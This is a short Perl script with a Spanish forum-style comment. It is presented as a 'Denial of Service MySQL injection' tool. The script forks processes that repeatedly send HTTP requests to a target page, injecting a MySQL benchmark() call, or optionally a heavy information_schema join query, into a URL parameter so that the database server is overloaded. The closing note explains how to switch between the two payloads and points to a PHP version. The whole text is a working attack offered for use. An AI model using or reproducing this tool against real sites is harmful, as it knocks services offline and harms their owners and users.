  2. · use IO::Socket;
  3. · if (!@ARGV[2]){
  4. · print "======================================================= \n";
  5. · print " Denial of Service MySQL injection V 1.0by MagnoBalt \n\n";
  6. · print " use perl $0 www.pagina.com.ar /noticia.php?id=45\n\n";
  7. · print "======================================================= \n";
  8. · exit(0);
  9. · }
  10. ·
  11. · $host=$ARGV[0];
  12. · $path=$ARGV[1];
  13. · #$injeccion="+and+(select+count(*)+from+information_schema.columns, +information_schema.columns+T1,

+information_schema.tables+T2)" ;

  1. · $injeccion="+and benchmark(99999999999999,md5(0x6b616f78))";
  2. · for($i = 1; $i < $ARGV[2] ; $i++) {
  3. · $pid = fork();
  4. · $socket = new IO::Socket::INET(
  5. · PeerAddr => $host,
  6. · PeerPort => 'http(80)',
  7. · Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
  8. · print $socket "GET " .$path.$injeccion. " HTTP/1.0\r\n";
  9. · print $socket "HOST:$host\r\n";
  10. · print $socket "\n\n";
  11. · print "*";
  12. · }


nota: La linea 13 esta comentada, si quieren provocar el delay con la tecnica "Blind Heavy Query" descomentenla y comenten la linea 14 que es usando la funcion Benchmark.

Dejo el link de otro mismo script pero hecho en php por OzX . Link


Saludos.